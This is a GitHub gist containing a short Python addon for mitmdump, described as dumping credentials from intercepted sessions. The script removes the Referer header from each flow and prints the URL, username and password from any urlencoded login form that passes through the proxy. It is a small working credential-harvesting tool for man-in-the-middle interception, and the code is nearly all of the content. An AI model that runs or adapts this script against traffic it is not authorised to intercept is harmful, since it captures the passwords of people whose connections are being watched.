Created
March 31, 2017 01:10
-
-
Save chokepoint/c840455138046b038e17106be0b4e2ba to your computer and use it in GitHub Desktop.
Dump credentials in mitmdump sessions
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Print values from forms named username and password respectively | |
def response(flow): | |
try: | |
flow.request.headers.pop('Referer') | |
except Exception: | |
pass | |
if flow.request.urlencoded_form: | |
try: | |
username = flow.request.urlencoded_form['username'] | |
password = flow.request.urlencoded_form['password'] | |
print("URL: %s" % flow.request.url) | |
print("Username: %s" % username) | |
print("Password: %s" % password) | |
except Exception: | |
pass |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment